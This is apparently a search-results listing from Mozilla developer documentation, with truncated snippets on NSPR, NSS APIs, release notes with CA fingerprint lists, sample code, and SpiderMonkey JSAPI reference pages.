... description the calling thread must hold the lock that protects the condition, as well as the invariants that are tightly bound to the condition.
... notification of a condition variable signals a change of state in some monitored data.
...And 2 more matches
PR_SetThreadPrivate
description if the thread already has non-null private data associated with it, and if the destructor function for the index is known (not null), nspr calls the destructor function associated with the index before setting the new data value.
...if the swapped out value is not null, the destructor function is called.
...the destructor is called with the runtime holding no locks.
...And 2 more matches
PR_TransmitFile
flags one of the following flags: pr_transmitfile_keep_open indicates that the socket will be kept open after the data is sent.
... pr_transmitfile_close_socket indicates that the connection should be closed immediately after successful transfer of the file.
... returns a positive number indicates the number of bytes successfully written, including both the headers and the file.
...And 2 more matches
PR_Writev
returns one of the following values: a positive number indicates the number of bytes successfully written.
... the value -1 indicates that the operation failed.
... the reason for the failure can be obtained by calling pr_geterror.
...And 2 more matches
Function_Name
syntax #include <headers.h> returntype function_name( paramtype paramname, paramtype paramname, ); parameters paramname sample: in pointer to a certcertdbhandle representing the certificate database to look in paramname sample: in pointer to an secitem whose type must be sidercertbuffer and whose data contains a der-encoded certificate description long description of this function, what it does, and why you would use it.
...avoid describing the return until the next section, for example: this function looks in the nsscryptocontext and the nsstrustdomain to find the certificate that matches the der-encoded certificate.
... a match is found when the issuer and serial number of the der-encoded certificate are found on a certificate in the certificate database.
...And 2 more matches
CERT_FindCertByIssuerAndSN
find a certificate in the database with the given issuer and serial number.
... syntax #include <cert.h> certcertificate *cert_findcertbyissuerandsn ( certcertdbhandle *handle, certissuerandsn *issuerandsn ); parameters handle in pointer to a certcertdbhandle representing the certificate database to look in issuerandsn in pointer to a certissuerandsn that must be properly formed to contain the issuer name and the serial number (see [example]) description this function creates a certificate key using the issuerandsn and it then uses the key to find the matching certificate in the database.
... returns a pointer to a certcertificate representing the certificate in the database that matched the issuer and serial number, or null if none was found.
...And 2 more matches
Cryptography functions
the nss version column indicates which versions of nss support the function.
... function name/documentation source code nss versions pk11_algtagtomechanism mxr 3.2 and later pk11_authenticate mxr 3.2 and later pk11_blockdata mxr 3.2 and later pk11_changepw mxr 3.2 and later pk11_checkuserpassword mxr 3.2 and later pk11_cipherop mxr 3.2 and later pk11_clonecontext mxr 3.2 and later pk11_configurepkcs11 mxr 3.2 and later pk11_convertsessionprivkeytotokenprivkey mxr 3.6 and later pk11_convertsessionsymkeytotokensymkey mxr 3.6 and later pk11_copytokenprivk...
...serinit mxr 3.2 and later pk11_paramfromiv mxr 3.2 and later pk11_paramfromalgid mxr 3.2 and later pk11_paramtoalgid mxr 3.2 and later pk11_pbekeygen mxr 3.2 and later pk11_privdecryptpkcs1 mxr 3.9.3 and later pk11_protectedauthenticationpath mxr 3.4 and later pk11_pubdecryptraw mxr 3.2 and later pk11_pubderive mxr 3.2 and later pk11_pubderivewithkdf mxr 3.9 and later pk11_pubencryptpkcs1 mxr 3.9.3 and later pk11_pubencryptraw mxr 3.2 and later pk11_pubunwrapsym...
...And 2 more matches
Build instructions for JSS 4.3.x
the java_home variable indicates the directory containing your java sdk installation.
... unix setenv java_home /usr/local/jdk1.5.0 (or wherever your jdk is installed) windows set java_home=c:\programs\jdk1.5.0 (or wherever your jdk is installed) windows (cygnus) java_home=/cygdrive/c/programs/jdk1.5.0 (or wherever your jdk is installed) export java_home windows build configurations winnt vs win95 as of nss 3.15.4, nspr/nss/jss build generates a "win95" configuration by default on windows.
... we recommend most applications use the "win95" configuration.
...And 2 more matches
NSS Key Log Format
key logs can be written by nss so that external programs can decrypt tls connections.
... wireshark 1.6.0 and above can use these log files to decrypt packets.
... you can tell wireshark where to find the key file via edit→preferences→protocols→ssl→(pre)-master-secret log filename.
...And 2 more matches
NSS 3.17.3 release notes
the following ca certificates were removed cn = gte cybertrust global root sha1 fingerprint: 97:81:79:50:d8:1c:96:70:cc:34:d8:09:cf:79:44:31:36:7e:f4:74 cn = thawte server ca sha1 fingerprint: 23:e5:94:94:51:95:f2:41:48:03:b4:d5:64:d2:a3:a3:f5:d8:8b:8c cn = thawte premium server ca sha1 fingerprint: 62:7f:8d:78:27:65:63:99:d2:7d:7f:90:44:c9:fe:b3:f3:3e:f...
...a:9a cn = america online root certification authority 1 sha-1 fingerprint: 39:21:c1:15:c1:5d:0e:ca:5c:cb:5b:c4:f0:7d:21:d8:05:0b:56:6a cn = america online root certification authority 2 sha-1 fingerprint: 85:b5:ff:67:9b:0c:79:96:1f:c8:6e:44:22:00:46:13:db:17:92:84 the following ca certificates had the websites and code signing trust bits turned off ou = class 3 public primary certification authority - g2 sha1 fingerprint: 85:37:1c:a6:e5:50:14:3d:ce:28:03:47:1b:de:3a:09:e8:f8:77:0f cn = equifax secure ebusiness ca-1 sha1 fingerprint: da:40:18:8b:91:89:a3:ed:ee:ae:da:97:fe:2f:9d:f5:b7:d1:8a:41 the following ca certificates were added cn = comodo rsa certification authority ...
... sha1 fingerprint: af:e5:d2:44:a8:d1:19:42:30:ff:47:9f:e2:f8:97:bb:cd:7a:8c:b4 cn = usertrust rsa certification authority sha1 fingerprint: 2b:8f:1b:57:33:0d:bb:a2:d0:7a:6c:51:f7:0e:e9:0d:da:b9:ad:8e cn = usertrust ecc certification authority sha1 fingerprint: d1:cb:ca:5d:b2:d5:2a:7f:69:3b:67:4d:e5:f0:5a:1d:0c:95:7d:f0 cn = globalsign ecc root ca - r4 sha1 fingerprint: 69:69:56:2e:40:80:f4:24:a1:e7:19:9f:14:ba:f3:ee:58:ab:6a:bb cn = globalsign ecc root ca - r5 sha1 fingerprint: 1f:24:c6:30:cd:a4:18:ef:20:69:ff:ad:4f:dd:5f:46:3a:1b:69:aa the version number of the updated root ca list has been set to 2.2 bugs fixed in nss 3.17.3 this bugzilla query returns all the bugs fixed in nss ...
...And 2 more matches
NSS 3.19.3 release notes
this is a patch release to update the list of root ca certificates.
... notable changes in nss 3.19.3 the following ca certificates were removed cn = buypass class 3 ca 1 sha1 fingerprint: 61:57:3a:11:df:0e:d8:7e:d5:92:65:22:ea:d0:56:d7:44:b3:23:71 cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı sha1 fingerprint: 79:98:a3:08:e1:4d:65:85:e6:c2:1e:15:3a:71:9f:ba:5a:d3:4a:d9 cn = sg trust services racine sha1 fingerprint: 0c:62:8f:5c:55:70:b1:c9:57:fa:fd:38:3f:b0:3d:7b:7d:d7:b9:c6 cn = tc trustcenter universal ca i sha-1 fingerprint: 6b:2f:34:ad:89:58:be:62:fd:b0:6b:5c:ce:bb:9d:d9:4f:4e:39:f3 cn = tc trustcenter class 2 ca ii sha-1 fingerprint: ae:50:83:ed:7c:f4:5c:bc:8f:61:c6:21:fe:68:5d:79:42:21:15:6e the following ca certificat...
...e had the websites trust bit turned off cn = comsign secured ca sha1 fingerprint: f9:cd:0e:2c:da:76:24:c1:8f:bd:f0:f0:ab:b6:45:b8:f7:fe:d5:7a the following ca certificates were added cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı h5 sha1 fingerprint: c4:18:f6:4d:46:d1:df:00:3d:27:30:13:72:43:a9:12:11:c6:75:fb cn = tÜrktrust elektronik sertifika hizmet sağlayıcısı h6 sha1 fingerprint: 8a:5c:8c:ee:a5:03:e6:05:56:ba:d8:1b:d4:f6:c9:b0:ed:e5:2f:e0 cn = certinomis - root ca sha1 fingerprint: 9d:70:bb:01:a5:a4:a0:18:11:2e:f7:1c:01:b9:32:c5:34:e7:88:a8 the version number of the updated root ca list has been set to 2.5 bugs fixed in nss 3.19.3 this bugzilla query returns al...
...And 2 more matches
NSS 3.19 release notes
new in nss 3.19 new functionality for some certificates, such as root ca certificates that don't embed any constraints, nss might impose additional constraints such as name constraints.
... new functions in cert.h cert_getimposednameconstraints - check if any imposed constraints exist for the given certificate, and if found, return the constraints as encoded certificate extensions.
... in tls 1.2 handshakes, nss advertises support for the sha512 hash algorithm in order to be compatible with tls servers that use certificates with a sha512 signature (bug 1155922).
...And 2 more matches
NSS 3.25.1 release notes
this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.25.
... notable changes in nss 3.25.1 md5 signature algorithms sent by the server in certificaterequest messages are now properly ignored.
... previously, with rare server configurations, an md5 signature algorithm might have been selected for client authentication and caused the client to abort the connection soon after.
...And 2 more matches
NSS 3.26.2 release notes
this is a patch release to address a tls compatibility issue that some client applications experienced with nss 3.26.1.
... notable changes in nss 3.26.2 md5 signature algorithms sent by the server in certificaterequest messages are now properly ignored.
... previously, with rare server configurations, an md5 signature algorithm might have been selected for client authentication and caused the client to abort the connection soon after.
...And 2 more matches
NSS 3.30.2 release notes
this is a patch release to update the list of root ca certificates.
... notable changes in nss 3.30.2 the following ca certificates were removed: o = japanese government, ou = applicationca sha-256 fingerprint: 2d:47:43:7d:e1:79:51:21:5a:12:f3:c5:8e:51:c7:29:a5:80:26:ef:1f:cc:0a:5f:b3:d9:dc:01:2f:60:0d:19 cn = wellssecure public root certificate authority sha-256 fingerprint: a7:12:72:ae:aa:a3:cf:e8:72:7f:7f:b3:9f:0f:b3:d1:e5:42:6e:90:60:b0:6e:e6:f1:3e:9a:3c:58:33:cd:43 cn=tÜrktrust elektronik sertifika hizmet sağlayıcısı h6 sha-256 fingerprint: 8d:e7:86:55:e1:be:7f:78:47:80:0b:93:f6:94:d2:1d:36:8c:c0:6e:03:3e:7f:ab:04:bb:5e:b9:9d:a6:b7:00 cn=microsec e-szigno root sha-256 fingerprint: 32:7a:3d:76:1a:ba:de:a0:34:eb:99:84:06:27:5c:b1:a4:77:6e:fd:ae:2f:df:6d:01:68:ea:1c:4f...
...:55:67:d0 the following ca certificates were added: cn = d-trust root ca 3 2013 sha-256 fingerprint: a1:a8:6d:04:12:1e:b8:7f:02:7c:66:f5:33:03:c2:8e:57:39:f9:43:fc:84:b3:8a:d6:af:00:90:35:dd:94:57 trust flags: email cn = tubitak kamu sm ssl kok sertifikasi - surum 1 sha-256 fingerprint: 46:ed:c3:68:90:46:d5:3a:45:3f:b3:10:4a:b8:0d:ca:ec:65:8b:26:60:ea:16:29:dd:7e:86:79:90:64:87:16 trust flags: websites technically constrained to: gov.tr, k12.tr, pol.tr, mil.tr, tsk.tr, kep.tr, bel.tr, edu.tr, org.tr the version number of the updated root ca list has been set to 2.14 (the version numbers 2.12 and 2.13 for the root ca list have been skipped.) bugs fixed in nss 3.30.2 bug 1350859 - march 2017 batch of root...
...And 2 more matches
NSS 3.37 release notes
nss allows servers now to register alpn handling callbacks to select a protocol.
... (the classic implementation for rng seeding on the linux/unix platform, which may use additional sources for the default seeding, is still available and will be used if seed_only_dev_urandom is undefined.) with nss 3.37, this alternative implementation for linux/unix can be selected in "make" builds by defining the environment variable nss_seed_only_dev_urandom.
... the ca certificates list was updated to version 2.24.
...And 2 more matches
NSS 3.41 release notes
bug 1493215 - enabled the following ciphersuites by default: tls_ecdhe_ecdsa_with_aes_256_gcm_sha384 tls_ecdhe_rsa_with_aes_256_gcm_sha384 tls_dhe_rsa_with_aes_256_gcm_sha384 tls_rsa_with_aes_256_gcm_sha384 new functions none notable changes in nss 3.41 the following ca certificates were added: cn = certigna root ca sha-256 fingerprint: d48d3d23eedb50a459e55197601c27774b9d7b18c94d5a059511a10250b93168 cn = gts root r1 sha-256 fingerprint: 2a575471e31340bc21581cbd2cf13e158463203ece94bcf9d3cc196bf09a5472 cn = gts root r2 sha-256 fingerprint: c45d7bb08e6d67e62e4235110b564e5f78fd92ef058c840aea4e6455d7585c60 cn = gts root...
... r3 sha-256 fingerprint: 15d5b8774619ea7d54ce1ca6d0b0c403e037a917f131e8a04e1e6b7a71babce5 cn = gts root r4 sha-256 fingerprint: 71cca5391f9e794b04802530b363e121da8a3043bb26662fea4dca7fc951a4bd cn = uca global g2 root sha-256 fingerprint: 9bea11c976fe014764c1be56a6f914b5a560317abd9988393382e5161aa0493c cn = uca extended validation root sha-256 fingerprint: d43af9b35473755c9684fc06d7d8cb70ee5c28e773fb294eb41ee71722924d24 the following ca certificates were removed: cn = ac raíz certicámara s.a.
... sha-256 fingerprint: a6c51e0da5ca0a9309d2e4c0e40c2af9107aae8203857fe198e3e769e343085c cn = certplus root ca g1 sha-256 fingerprint: 152a402bfcdf2cd548054d2275b39c7fca3ec0978078b0f0ea76e561a6c7433e cn = certplus root ca g2 sha-256 fingerprint: 6cc05041e6445e74696c4cfbc9f80f543b7eabbb44b4ce6f787c6a9971c42f17 cn = opentrust root ca g1 sha-256 fingerprint: 56c77128d98c18d91b4cfdffbc25ee9103d4758ea2abad826a90f3457d460eb4 cn = opentrust root ca g2 sha-256 fingerprint: 27995829fe6a7515c1bfe848f9c4761db16c225929257bf40d0894f29ea8baf2 cn = opentrust root ca g3 sha-256 fingerprint: b7c36231706e81078c367cb896198f1e3208dd926949dd8f5709a410f75b6292 bugs fixed in nss 3.41 bug 1412829, reject empty supported_signa...
...And 2 more matches
NSS 3.43 release notes
new in nss 3.43 new functionality new functions in sechash.h hash_gethashoidtagbyhashtype - convert type hash_hashtype to type secoidtag in sslexp.h ssl_sendcertificaterequest - allow server to request post-handshake client authentication.
...note that while the mechanism is present, post-handshake authentication is currently not tls 1.3 compliant due to bug 1532312 notable changes in nss 3.43 the following ca certificates were added: cn = emsign root ca - g1 sha-256 fingerprint: 40f6af0346a99aa1cd1d555a4e9cce62c7f9634603ee406615833dc8c8d00367 cn = emsign ecc root ca - g3 sha-256 fingerprint: 86a1ecba089c4a8d3bbe2734c612ba341d813e043cf9e8a862cd5c57a36bbe6b cn = emsign root ca - c1 sha-256 fingerprint: 125609aa301da0a249b97a8239cb6a34216f44dcac9f3954b14292f2e8c8608f cn = emsign ecc root ca - c3 sha-256 fingerprint: bc4d809b15189d78db3e1d8cf4f9726a795da1643ca5f1358e1ddb0edc0d7eb3 ...
... cn = hongkong post root ca 3 sha-256 fingerprint: 5a2fc03f0c83b090bbfa40604b0988446c7636183df9846e17101a447fb8efd6 the following ca certificates were removed: none bugs fixed in nss 3.43 bug 1528669 and bug 1529308 - improve gyp build system handling bug 1529950 and bug 1521174 - improve nss s/mime tests for thunderbird bug 1530134 - if docker isn't installed, try running a local clang-format as a fallback bug 1531267 - enable fips mode automatically if the system fips mode flag is set bug 1528262 - add a -j option to the strsclnt command to specify sigschemes bug 1513909 - add manual for nss-policy-check bug 1531074 - fix a deref after a null check in seckey_setpublicvalue bug 1517714 - properly handle esni with hrr bug 1529813 - expose hkdf-exp...
...And 2 more matches
NSS 3.47 release notes
hanges in nss 3.47 bug 1152625 - support aes hw acceleration on armv8 bug 1267894 - allow per-socket run-time ordering of the cipher suites presented in clienthello bug 1570501 - add cmac to freebl and pkcs #11 libraries bugs fixed in nss 3.47 bug 1459141 - make softoken cbc padding removal constant time bug 1589120 - more cbc padding tests bug 1465613 - add ability to distrust certificates issued after a certain date for a specified root cert bug 1588557 - bad debug statement in tls13con.c bug 1579060 - mozilla::pkix tag definitions for issueruniqueid and subjectuniqueid shouldn't have the constructed bit set bug 1583068 - nss 3.47 should pick up fix from bug 1575821 (nspr 4.23) bug 1152625 - support aes hw acceleration on armv8 bug 1549225 - disable dsa signature schemes f...
...or tls 1.3 bug 1586947 - pk11_importandreturnprivatekey does not store nickname for ec keys bug 1586456 - unnecessary conditional in pki3hack, pk11load and stanpcertdb bug 1576307 - check mechanism param and param length before casting to mechanism-specific structs bug 1577953 - support longer (up to rfc maximum) hkdf outputs bug 1508776 - remove refcounting from sftk_freesession (cve-2019-11756) bug 1494063 - support tls exporter in tstclnt and selfserv bug 1581024 - heap overflow in nss utility "derdump" bug 1582343 - soft token mac verification not constant time bug 1578238 - handle invald tag sizes for ckm_aes_gcm bug 1576295 - check all bounds when encrypting with seed_cbc bug 1580286 - nss rejects tls 1.2 records with large padding with sha384 hmac bug 1577448 - create addi...
...7 - fix unportable grep expression in test scripts bug 1234830 - [cid 1242894][cid 1242852] unused values bug 1580126 - fix build failure on aarch64_be while building freebl/gcm bug 1385039 - build nspr tests as part of nss continuous integration bug 1581391 - fix build on openbsd/arm64 after bug #1559012 bug 1581041 - mach-commands -> mach-completion bug 1558313 - code bugs found by clang scanners.
...And 2 more matches
NSS 3.56 release notes
the known issue where makefile builds failed to locate seccomon.h was fixed in bug 1653975.
... bug 1652729 - add build flag to disable rc2 and relocate to lib/freebl/deprecated.
... bug 1588941 - send empty certificate message when scheme selection fails.
...And 2 more matches
NSS Config Options
nss config options format the specified ciphers will be allowed by policy, but an application may allow more by policy explicitly: config="allow=curve1:curve2:hash1:hash2:rsa-1024..." only the specified hashes and curves will be allowed: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1" only the specified hashes and curves will be allowed, and rsa keys of 2048 or more will be accepted, and dh key exchange with 1024-bit primes or more: config="disallow=all allow=sha1:sha256:secp256r1:secp384r1:min-rsa=2048:min-dh=1024" a policy that enables the aes ciphersuites and the secp256/384 curves: config="allow=aes128-cbc:aes128-gcm::hmac-sha1:sha1:sha256:sha384:rsa:ecdhe-rsa:secp256r1:secp384r1" turn off md5 config="disallow=md5" turn off md5 and sha1 only for ssl co...
...flags: turn on the following flags: ssl-lock: turn off the ability for applications to change policy with the ssl_setcipherpolicy (or ssl_setpolicy).
... policy-lock: turn off the ability for applications to change policy with the call nss_setalgorithmpolicy.
...And 2 more matches
NSS Sample Code Utilities_1
file extract the password from a text file get the module password print as ascii or hexadecimal sample code #include <prlog.h> #include <termios.h> #include <base64.h> #include <unistd.h> #include <sys/stat.h> #include <prprf.h> #include "util.h" /* * these utility functions are adapted from those found in * the sectool library used by the nss security tools and * other nss test applications.
...in the single password * case a line would just have the password whereas in the multi- * password variant they could be of the form * * token_1_name:its_password * token_2_name:its_password * */ char *filepasswd(pk11slotinfo *slot, prbool retry, void *arg) { char* phrases, *phrase; prfiledesc *fd; print32 nb; char *pwfile = arg; int i; const long maxpwdfilesize = 4096; char* tokenname = nu...
...se(fd); if (nb == 0) { fprintf(stderr,"password file contains no data\n"); port_free(phrases); return null; } if (slot) { tokenname = pk11_gettokenname(slot); if (tokenname) { tokenlen = port_strlen(tokenname); } } i = 0; do { int startphrase = i; int phraselen; /* handle the windows eol case */ while (phrases[i] != '\r' && phrases[i] != '\n' && i < nb) i++; /* terminate passphrase */ phrases[i++] = '\0'; /* clean up any eol before the start of the next passphrase */ while ( (i<nb) analyze="" char="" current="" getmodulepassword="" if="" int="" now="" passphrase="" phrase="&amp;phrases[startphrase];" phraselen="" pk11slotinfo="" pwdata="=" pw...
...And 2 more matches
NSS Sample Code sample5
*/ #include "nss.h" #include "pk11pub.h" #define base64_encoded_subjectpublickeyinfo "mfwwdqyjkozihvcnaqebbqadswawsajbal3f6tic3jeysugo+a2fpu3w+epv/feix21dc86wynpftw4srftz2onuzyluzdhzdb+k//8dct3iaozuui3r2emcaweaaq==" #define base64_encoded_privatekeyinfo "miibvqibadanbgkqhkig9w0baqefaascat8wgge7ageaakeavcxpmhzckriy6cj5rz89tdb4sm/8v4hfbumlzpziekw1biysw3pag1tpittmmdl1v6t//x1xpcga7nrsldhz4widaqabakeajh8+4qncwcmgivnm6ytbpqt+k/jeoexg2bqhjojvnxn3fazgcefxvpuibcjvfaijs9ybcmozzrato0+k2hwnoqihaoc4nvbo8fqhzs4yxm1m86kml47fa9ui//oufbhladw1aiea2dbmixnsbokb+ohver69p0gnewlvcjc9bjdvfdlvslcciqcptv3vgyjv2vdwxqzqahc+yb4...
...gigaqoqbcbmjd3lyflqiga+vtydunoqwtzwve4grf7izk2v5ccnhg3gr5rgwxn58cigccaforruksm66isg0iti04g9v/w+wmx91wjeeb+qbz" int main(int argc, char **argv) { secstatus rv; certcertificate *cert = null; seckeypublickey *pubkey = null; certsubjectpublickeyinfo *spki = null; seckeyprivatekey *pvtkey = null; int modulus_len, i, outlen; char *buf1 = null; char *buf2 = null; char *pubkstr = base64_encoded_subjectpublickeyinfo; char *pvtkstr = base64_encoded_privatekeyinfo; secitem der; secitem nickname; pk11slotinfo *slot = null; /* initialize nss * you need to explicitly authenticate to the internal token if you use * nss_init insteadf of nss_nodb_init * invoke th...
...is after getting the internal token handle * pk11_authenticate(slot, pr_false, null); */ rv = nss_nodb_init("."); if (rv != secsuccess) { fprintf(stderr, "nss initialization failed (err %d)\n", pr_geterror()); goto cleanup; } /* get internal slot */ slot = pk11_getinternalkeyslot(); if (slot == null) { fprintf(stderr, "couldn't find slot (err %d)\n", pr_geterror()); goto cleanup; } rv = atob_convertasciitoitem(&der, pubkstr); if (rv!= secsuccess) { fprintf(stderr, "atob_convertasciitoitem failed %d\n", pr_geterror()); goto cleanup; } spki = seckey_decodedersubjectpublickeyinfo(&der); secitem_freeitem(&der, pr_false); pubkey = seckey_extractpublickey(spki); if (pubkey == null) { fprintf(stderr, "couldn't...
...And 2 more matches
FC_DecryptVerifyUpdate
pdata [in] pointer to the location which receives the recovered data part or null.
... description fc_decryptverifyupdate continues a multi-part decryption and and signature verification operation.
... after calling both fc_decryptinit and fc_verifyinit to set up the operations this function may be called multiple times.
...And 2 more matches
FC_InitToken
specifically, fc_inittoken() initializes or clears the key database, removes the password, and then marks all the user certs in the certificate database as non-user certs.
... (user certs are the certificates that have their associated private keys in the key database.) a user must be able to call fc_inittoken() without logging into the token (to assume the nss user role) because either the user's password hasn't been set yet or the user forgets the password and needs to blow away the password-encrypted private key database and start over.
... application usage fc_inittoken() is used to reset the password for the key database when the user forgets the password.
...And 2 more matches
NSC_InitToken
specifically, nsc_inittoken() initializes or clears the key database, removes the password, and then marks all the user certs in the certificate database as non-user certs.
... (user certs are the certificates that have their associated private keys in the key database.) note: the so password should be the empty string, i.e., ulpinlen argument should be 0.
... examples application usage nsc_inittoken() is used to reset the password for the key database when the user forgets the password.
...And 2 more matches
Utility functions
the nss version column indicates which versions of nss support the function.
... function name/documentation source code nss versions atob_asciitodata mxr deprecated 3.2 use nssbase64_decodebuffer atob_convertasciitoitem mxr deprecated 3.2 use nssbase64_decodebuffer btoa_convertitemtoascii mxr deprecated 3.2 use nssbase64_encodeitem btoa_datatoascii mxr deprecated 3.2 use nssbase64_encodeitem der_asciitotime mxr 3.5 and later der_decodetimechoice mxr 3.9 and later der_encode mxr 3.4 and later der_encodetimechoice mxr 3.9 and later der_generalizedtimetotime mxr 3.2 and later der_ge...
...ickey mxr 3.2 and later seckey_publickeystrength mxr 3.2 and later seckey_updatecertpqg mxr 3.2 and later secmod_addnewmodule mxr 3.3 and later secmod_addnewmoduleex mxr 3.4 and later secmod_deletemoduleex mxr 3.12 and later secmod_cancelwait mxr 3.9.3 and later secmod_candeleteinternalmodule mxr 3.5 and later secmod_createmodule mxr 3.4 and later secmod_deletemodule mxr 3.4 and later secmod_findmodule mxr 3.4 and later secmod_findslot mxr 3.4 and later secmod_f...
...And 2 more matches
The Necko HTTP module
references rfc 2616 for the http/1.1 specification.
... rfc 2617 for the http/1.1 basic and digest authentication specifications.
... caching faq this document gives an overview of how http caching is implemented in necko.
...And 2 more matches
Renaming With Pork
typically they require loading the entire project into an ide.
...pork does not yet have a ui, but it is also build-system agnostic and scales to large codebases.
...typically, make cxxflags="-wp,-k,-w0 -save-temps" will work.
...And 2 more matches
The JavaScript Runtime
string java.lang.charsequence (java.lang.string or org.mozilla.javascript.consstring) object org.mozilla.javascript.scriptable in addition, ecma refers to objects that implement [[call]] as functions.
... since javascript is a dynamically typed language, the static java type of a javascript value is java.lang.object.
...(this caveat does not apply to scripts that use liveconnect; the java values are wrapped and unwrapped as appropriate to conform to the above type constraints.) property access properties in javascript objects may be accessed using either string or numeric identifiers.
...And 2 more matches
Getting SpiderMonkey source code
you can get the spidermonkey source code in gzipped form or directly from the mercurial repository.
... downloading gzipped spidermonkey source code you can download gzipped spidermonkey source code from the following urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell.
... if you have problems with the instructions above, you can read the full details of using mercurial to get mozilla code here.
...And 2 more matches
JS::HandleValueArray
syntax js::handlevaluearray(const js::rootedvalue& value); js::handlevaluearray(const js::autovaluevector& values); js::handlevaluearray(const js::autovaluearray<n>& values); js::handlevaluearray(const js::callargs& args); js::handlevaluearray::frommarkedlocation(size_t len, const js::value *elements); js::handlevaluearray::subarray(const js::handlevaluearray& values, size_t startindex, size_t len); js::handlevaluearray::empty(); name type description value js::rootedvalue &amp; an element of newly created 1-length array.
... args js::callargs &amp; elements of newly created array.
... len size_t (frommarkedlocation only) length of elements array or (subarray only) length of sub array of values.
...And 2 more matches
JSConvertOp
other types may be passed as hints, but such behavior is deprecated.
... description jsconvertop callback specifies conversion behavior for objects having this class, implementing the ecmascript [[defaultvalue]] behavior for them.
... implementations of this hook have historically been required to accept any type.
...And 2 more matches
JSObjectOps.lookupProperty
the jsobjectops.lookupproperty callback is called for every property access (except when a higher-level callback, such as jsobjectops.getproperty, is overloaded in a way that does not call lookupproperty).
...if the property is found, the callback stores the object on which the property was found in *objp.
...on success, the callback stores in *propp a pointer to the property, if it exists, or null if it doesn't.
...And 2 more matches
JSObjectOps.newObjectMap
the jsobjectops.newobjectmap callback is called whenever a new object is created.
...an application that implements jsobjectops must therefore either implement the newobjectmap by including the non-public header jsobj.h, or obtain the default newobjectmapop by calling the jsclass.getobjectops callback of a standard jsclass.
...usually, the nrefs parameter to jsobjectops.newobjectmap will be 1, to count the ref returned to the caller on success.
...And 2 more matches
JSPrincipals
obsolete since jsapi 12 globalprivilegesenabled jsbool (*)(jscontext *, jsprincipals *) flag indicating whether principals are enabled globally.
... the data content of a principals object is defined by the application, which creates instances of jsprincipals, initializes their refcount fields to 1, and passes them into the engine through the js_...forprincipals functions.
... some examples of security-enhanced api call are js_compilescriptforprincipals, js_compilefunctionforprincipals, and js_evaluatescriptforprincipals.
...And 2 more matches
JSPrincipalsTranscoder
jsprincipalstranscoder is the type of a security callback that can be configured using js_setprincipalstranscoderjsapi 1.8 and earlier or js_setruntimesecuritycallbacksadded in spidermonkey 1.8.1.
... callback syntax typedef jsbool (*jsprincipalstranscoder)(jsxdrstate *xdr, jsprincipals **principalsp); name type description xdr jsxdrstate * the xdr reader/writer.
... description the javascript engine uses this callback to serialize and deserialize principals.
...And 2 more matches
JSRuntime
a program typically has only one jsruntime, even if it has many threads.
... the jsruntime is the universe in which javascript objects live; they can't travel to other jsruntimes.
... all javascript code and most jsapi calls run within a jscontext.
...And 2 more matches
JSVAL_TO_GCTHING
cast a jsval to a raw pointer of type void *.
... syntax jsval_to_gcthing(v) description jsval_to_gcthing casts a jsval, v, to a raw pointer.
...this macro is exposed in jsapi.h because other jsapi macros make use of it.
...And 2 more matches
JS_AliasElement
in a js_threadsafe build, the caller must be in a request on this jscontext.
...this feature is deprecated, meaning that it is currently supported only for backward compatibility with existing applications.
...if the element is currently out of scope, already exists, or the alias itself cannot be assigned to the element, js_aliaselement does not report an error, but returns js_false.
...And 2 more matches
JS_CheckAccess
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_checkaccess determines whether the property of obj given by id can be accessed by the code currently running in the context cx.
...if obj has custom jsobjectops, the access check is delegated to the jsobjectops.checkaccess callback.
...And 2 more matches
JS_ClearNewbornRoots
clear a context's newborn roots, which temporarily protect newly allocated values from garbage collection.
...these newborn roots help native code protect newly-created gc-things from gc invocations activated before those things can be rooted using local or global roots.
... however, the newborn roots can also entrain great gobs of garbage, so the js_gc entry point clears them for the context on which gc is being forced.
...And 2 more matches
JS_ClearPendingException
in a js_threadsafe build, the caller must be in a request on this jscontext.
... description js_clearpendingexception cancels the currently pending exception in cx, if any.
... (there is a pending exception if the most recently thrown exception in cx has not yet been caught or cleared.) when any jsapi call fails with an exception, the caller must either use js_clearpendingexception to catch the exception; or return false to allow the exception to propagate to the caller.
...And 2 more matches
JS_DefineFunctions
in a js_threadsafe build, the caller must be in a request on this jscontext.
... fs const jsfunctionspec * a null-terminated array of function specifications.
... description js_definefunctions creates zero or more functions and makes them properties (methods) of a specified object, obj, as if by calling js_definefunction repeatedly.
...And 2 more matches
JS_DeleteElement2
in a js_threadsafe build, the caller must be in a request on this jscontext.
...on success, *succeeded receives false if the property was not deleted because it is permanent and true otherwise.
... for javascript 1.2 and earlier, if deletion fails because the property is permanent, js_deleteelement2 reports the error and returns false.
...And 2 more matches
JS_DumpHeap
dump the object graph of heap-allocated things.
...when non-null, dump only things reachable from the object indicated.
...other users // should sort alphabetically, for consistency.
...And 2 more matches
JS_Enumerate
in a js_threadsafe build, the caller must be in a request on this jscontext.
...this calls obj's jsclass.enumerate hook.
...the application must free this array using js_destroyidarray.
...And 2 more matches
JS_GetContextPrivate
access a jscontext field for application-specific data.
... data void * (in js_setcontextprivate or js_setsecondcontextprivate) pointer to application-defined data to be associated with the context cx.
... description each jscontext has two fields of type void * which the application may use for any purpose.
...And 2 more matches
JS_GetGlobalObject
spidermonkey supports applications that have multiple global objects, such as the various window objects in a web browser.
...furthermore, some jsapi functions, such as js_executescript, allow the caller to specify a global object in which the script executes.
... in either case, the global function used by the function or script may differ from the context's global object.
...And 2 more matches
JS_GetInstancePrivate
syntax void * js_getinstanceprivate(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, js::callargs *args); // added in jsapi 32 void * js_getinstanceprivate(jscontext *cx, js::handle<jsobject*> obj, const jsclass *clasp, jsval *argv); // obsolete since jsapi 32 name type description cx jscontext * a context.
... args js::callargs * optional argument, used for error reporting.
...obsolete since jsapi 32 this must be one of the following: an argv pointer created by the javascript engine and passed to a jsnative callback; js_argv(cx, vp) where vp is a pointer created by the engine and passed to a jsfastnative callback; or null.
...And 2 more matches
